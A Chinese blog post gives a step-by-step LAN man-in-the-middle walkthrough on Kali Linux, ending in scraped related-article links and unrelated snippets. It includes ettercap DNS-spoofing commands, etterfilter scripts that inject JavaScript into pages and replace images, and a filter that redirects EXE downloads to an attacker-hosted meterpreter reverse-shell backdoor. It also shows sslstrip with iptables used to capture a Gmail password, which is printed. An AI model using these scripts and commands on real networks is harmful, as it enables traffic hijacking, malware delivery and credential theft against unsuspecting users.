一直没有折腾啥东西,直到最近kali Linux发布,才回想起应该更新博客了…..
 
再次说明,这些技术并不是本人原创的,而是以前记录在Evernote的旧内容(排版不是很好,请谅解),本文是继关于ARP欺骗与MITM(中间人攻击)的一些笔记(一)的继续,目前在Kali Linux下重新整理并放上博客,在这篇笔记中将会有以下内容:
 
1.ettercap插件使用(局域网内DNS欺骗举例)

2.ettercap过滤脚本简单使用(替换网页图片&下载内容、插入脚本)

3.使用ssltrip突破ssl加密截获密码
 
 
攻击环境:

网关:

ASUS RT-N10+(DD-WRT)

IP:192.168.1.1/24

攻击主机:

Kali Linux 1.0

IP:192.168.1.104/24

被攻击主机(1):

windows 7

IP:192.168.1.111/24

具体测试环境请参考:

关于ARP欺骗与MITM(中间人攻击)的一些笔记(一)
 
 
1.ettercap插件使用(局域网内DNS欺骗举例)
 
ettercap提供了很多有用的插件,在命令行上使用插件要加上大写字母”-P”。图形界面下plugins ——  Mange the plugins 然后双击启动插件,如图
 

 
插件启动后,插件名前面会显示一个“*”号
 
不过有的插件并不是直接开启就可以使用,就拿图中dns_spoof这个可以实现DNS欺骗的插件来说,使用前要先修改配置文件添加记录。在Kali Linux下ettercap的大多数配置文件和脚本文件存放在/usr/share/ettercap/目录下,下面我们来编辑一下dns_spoof这个插件的配置文件。
 
vim /usr/share/ettercap/etter.dns
 
在etter.dns添加一条A记录,把www.baidu.com转向127.0.0.1(本机保留地址) ,这会造成被攻击主机无法访问百度首页,如图所示:
 

 
然后使用ettercap对目标主机进行ARP+DNS欺骗:
 
 ettercap -Tq -i wlan0 -P dns_spoof -M arp:remote /192.168.1.111/ /192.168.1.1/
 
可以看到DNS被跳转至127.0.0.1,这样被攻击的主机访问百度首页的时候就会显示“无法连接”,不过访问IP和其他地址没问题。
 

 
以上是ettercap插件的简单举例,当然ettercap还有很多插件可以使用 ,这里就不一个个举例了。
 
 
2.使用ettercap过滤脚本简单使用:
 
ettercap还有很强大的过滤脚本功能,通过使用过滤脚本,可以对截获到的数据包做修改然后转发给被攻击的主机。可以实现替换网页内容、替换下载内容、在被入侵者访问的网页中插入代码等功能…..
 
下面我们就来新建一个过滤脚本,并使用它,在新建立一个文本中输入以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding""Accept-Rubbish!");
# note: replacement string is same length as original string
#msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("<head>""<head><script type="text/javascript">alert('rootoorotor was here');</script>");
replace("<HEAD>""<HEAD><script type="text/javascript">alert('rootoorotor was here');</script>");
msg("注入成功!!\n");
}

我这里暂且这个文本命名为alert.filter,然后保存。
 
这个脚本可以替换替换HTML代码中的<head>,在后面加入<script type=”text/javascript”>alert(‘rootoorotor was here’);</script>,玩Web的童鞋对这个应该很熟悉,就是在网页上弹出提示框的。要使用这个脚本,还需要使用ettercap自带的编译工具把这个脚本编译成ettercap可以识别的二进制文件。使用如下命令编译:
 
etterfilter alert.filter -o alert.ef
 
如图:

alert.ef就是已经编译完成的过滤脚本。然后可以利用过滤脚本发动攻击了。
 
ettercap -T -q -i wlan0 -F alert.ef -M arp:remote /192.168.1.111/  /192.168.1.1/
 
BTW:不知道为啥,rootoorotor在用命令行(-F)调用过滤脚本总是失败(没有脚本调用任何提示),用了绝对路径也不行。但是在GUI下调用过滤脚本正常,如果您知道问题出在那里真心希望能得到您的指导:)
图形界面下调用脚本比较简单,如图:
 

 
脚本执行时ettercap显示出了脚本执行的message
 

 
该脚本执行成功之后,被攻击者主机打开每个网页都会看到卖萌的信息:

接下来这个脚本是替换网页图片的(使用方法同上):

1
2
3
4
5
6
7
8
9
10
11
12
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding""Accept-Rubbish!");
# note: replacement string is same length as original string
#msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=""img src=http://up.2cto.com/2013/0507/20130507033106535.com/&' ");
replace("IMG SRC=""img src=http://up.2cto.com/2013/0507/20130507033106535.com/&' ");
msg("过滤执行.\n");
}

效果如图:
 

 
当然你也可以自己修改脚本,挂个木马什么的。
 
下面是一个使用过滤脚本替换网页下载文件并夺取目标主机控制权的列子,这里结合Metasploit生成一个反向链接的payload做演示:
 
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -o setup.exe
 
如图
 

 
生成后门之后可以把后门程序放在网盘上,然后在下面用到的脚本中把下载地址替换为你放置后门的地点,然后新建一个替换下载内容的过滤脚本,保存为exe.filter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding""Accept-Mousecat");
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("keep-alive""close" ");
replace("Keep-Alive""close" ");
}
if (ip.proto == TCP && search(DATA.data, ": application") ){
msg("found EXE\n");
if (search(DATA.data, "Win32")) {
msg("doing nothing\n");
else {
replace("200 OK""301 Moved Permanently Location: http://www.rootoorotor.org/setup.exe");
msg("redirect success\n");
}
}

编译脚本:
 
etterfilter exe.filter -o exe.ef
 
使用msfcli的handler监听本地的4444端口
 
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4444 E
 

 
使用ettercap调用过滤脚本发动ARP攻击毒化目标主机的ARP缓存
 
ettercap -Tq -i wlan0 -F /home/rootoorotor/Desktop/exe.ef -M arp:remote /192.168.1.111/  /192.168.1.1/
 
当发动ARP攻击成功之后,被攻击主机从网站下载后缀名为exe的文件会被替换成后门程序的下载地址。如图:

被入侵者如果在不知明的情况下运行了setup.exe。入侵者就得到了被攻击主机(192.168.1.111)的控制权,如图
 

 
BTW:事实上不会这么简单就夺取一台主机的控制权,rootoorotor在操作的时候发现替换exe程序的脚本经常失效(希望懂的朋友能指点一二),这里只是做个简单的演示。
 
学习怎样写过滤脚本可以使用man 8 etterfilter 查看帮助文档,这里提供了很多有用的过滤规则:

http://fuzzexp.org/ettercap-filter-rules-send.html

参照别人的过滤规则然后修改成自己想要的规则是不错的选择~
 
 
3.使用ssltrip突破ssl加密截获密码
 
2009年的黑帽大会上,一个名叫Moxie Marlinspike(作者博客:http://www.thoughtcrime.org/)的研究人员,发布了一个叫sslstrip的工具。通过该工具,可以实现对ssl进行中间人攻击。
 
原理大概是这样的:
 
1.ARP欺骗,使得攻击者能截获所有目标主机的网络流量;
2.攻击者利用用户对于地址栏中HTTPS与HTTP的疏忽,将所有的HTTPS连接都用HTTP来代替;
3.同时,与目标服务器建立正常的HTTPS连接;
4.由于HTTP通信是明文传输,攻击者能轻松实施嗅探。
 
环境依然是前面提到的那样:
攻击主机 :Kali Linux1.0  IP:192.168.1.104/24

被攻击主机: Windows 7  IP:192.168.1.111/24

网关:192.168.1.1/24

这里对192.168.1.111的主机使用的gmail账户进行攻击

账户:testuser9510@gmail.com

密码:!@#$%09876
 
 
步骤如下:
 
下载并安装sslstrip最新版(要求python版本>=2.5):
 
wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz

tar zxvf sslstrip-0.9.tar.gz

cd sslstrip-0.9
 
sudo python ./setup.py install
 
开启内核转发功能保证攻击过程中被攻击者不断网:
 
echo 1 > /proc/sys/net/ipv4/ip_forward
 
使用iptables把80端口的流量转发到sslstrip监听的10000端口上:
 
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000
 
启动sslstrip
 
sslstrip -l 10000
 

 
使用ettercap对目标主机进行arp攻击,并嗅探密码(过程中sslstrip的窗口不要关闭):
 
ettercap -Tq -i wlan0 -M arp:remote /192.168.1.111/ /192.168.1.1/
 
此时被攻击者登陆Gmail时https已经被降级为http,如图所示
 
攻击前:

 
攻击后:

 
此时ettercap也截获到了gmail的密码,攻击完成
 

 
以上就是关于ARP欺骗与MITM(中间人攻击)的一些笔记(二)的所有内容,本人不才,文中有错误的地方欢迎指点一二。如果你对局域网内ARP攻击还有什么好玩的思路欢迎交流。还是那句话:如果本文对你有所帮助,那是我最大的荣幸!另外,在关于ARP欺骗与MITM(中间人攻击)的一些笔记(三)中我会分享一些ARP攻击的防御方法

关于ARP欺骗与MITM(中间人攻击)的一些笔记( 二 )的更多相关文章

  1. 利用ARP欺骗进行MITM(中间人攻击)

    ARP欺骗主要骑着信息收集得作用,比如可以利用欺骗获取对方流量,从流量分析你认为重要得信息 0X01  了解ARP Arp协议 ARP(Address Resolution Protocol,地址解析 ...

  2. ARP欺骗与MITM(中间人攻击)实例

    ARP协议(address resolution protocol):地址解析协议 一台主机和另一台主机通信,要知道目标的IP地址,但是在局域网中传输数据的网卡却不能直接识别IP地址,所以用ARP解析 ...

  3. 记录利用ettercap进行简单的arp欺骗和mitm攻击过程

    方法均来自网络,本人只是记录一下自己操作的过程,大神请无视之- 攻击主机平台:kali-linux        被攻击主机:安卓手机192.168.1.107    (在同一局域网内) 1.利用et ...

  4. 渗透实战(周三):Ettercap·ARP毒化&MITM中间人攻击

    今天,我们来讲解如何对小型Wi-Fi局域网发动网络攻击

  5. ARP欺骗与中间人攻击

    前言: 上一篇WPA/WAP2wifi 密码破解笔记说到如何探测附近开放的AP并且破解进入,那么进入别人据局域网我们能干些什么呢?换句话说如果别人进入了我们内部网络,会有什么影响?本文简要介绍了ARP ...

  6. 中间人攻击——ARP欺骗的原理、实战及防御

    ​ 1.1 什么是网关 首先来简单解释一下什么是网关,网关工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,简单地说,网关就好比是一个房间通向另一个房间的一扇门. 1.2 A ...

  7. 中间人攻击(MITM)姿势总结

    相关学习资料 http://www.cnblogs.com/LittleHann/p/3733469.html http://www.cnblogs.com/LittleHann/p/3738141. ...

  8. 中间人攻击之ettercap嗅探

    中间人攻击: 中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的 ...

  9. arpspoof dnsspoof中间人攻击

    最近搞了一个监听神器,尽管使用了网卡混杂模式,不过监听到的几乎全是本地流量, 为了获取更多有用的数据,搞一下中间人攻击,最基本的就是arpspoof + IP转发,这样就可以获得局域网内任何人的上网流 ...

随机推荐

  1. Python模拟键盘输入和鼠标操作

    Python模拟键盘输入和鼠标操作 一.Python键盘输入模拟: import win32api import win32con win32api.keybd_event(17,0,0,0)  #c ...

  2. js 如何判断数据是数据还是对象

    如果用typeof测试,数组和对象都是显示的Object, 测试方式:var mycars=new Array();mycars[0]="Saab";mycars[1]=" ...

  3. 使用的 SQL Server 版本不支持数据类型“datetime2”解决办法

    不论下方提示什么数据格式有错误,一般都是entity生成的时候的问题.比如服务器上用的sql2005,自己用的2008. 解决方法: model层生成的model.edmx文件,用记事本打开, 将&l ...

  4. Eclipes中使用BASE64Encoder及BASE64Decoder报错

    也没有提示让导包,这是因为Base64的加密解密都是使用sun.misc包下的BASE64Encoder及BASE64Decoder的sun.misc.BASE64Encoder/BASE64Deco ...

  5. ACM——回文

    回文回文! 时间限制(普通/Java):1000MS/3000MS          运行内存限制:65536KByte总提交:967            测试通过:338 描述 回文是一种有趣的现 ...

  6. Visual C++ 打印编程技术-编程基础-获取打印机

    标准方法是用: EnumPrinters() 函数获取 #define PRINTER_ENUM_DEFAULT 0x00000001 #define PRINTER_ENUM_LOCAL 0x000 ...

  7. mediawiki数据库的下载地址及导入方法

    mediawiki导入数据库 数据库下载:http://zh.wikipedia.org/wiki/Wikipedia:%E6%95%B0%E6%8D%AE%E5%BA%93%E4%B8%8B%E8% ...

  8. 摘录android工具类

    import android.content.Context; import android.content.pm.PackageInfo; import android.content.pm.Pac ...

  9. java三大特性性:封装、继承和多态

    一.封装 封装是指隐藏对象的属性及实现细节,对外仅提供接口可见.封装实现了信息隐藏,利于软件复用.其优点是达到了模块化的标准,从而提高了代码的复用程度.在某种程度上,封装也大大改善了软件开发的可维护性 ...

  10. 在HTML中插入回车换行

    在制作EPUB的时候,发现原来收集的html文本根本就没有换行,这个在代码里面是无法忍受的,因为看着比较混乱,全部都是在一行里面,这个就像写作文的时候,你看到的文字全部都是在一行里面显示出来的,根本就 ...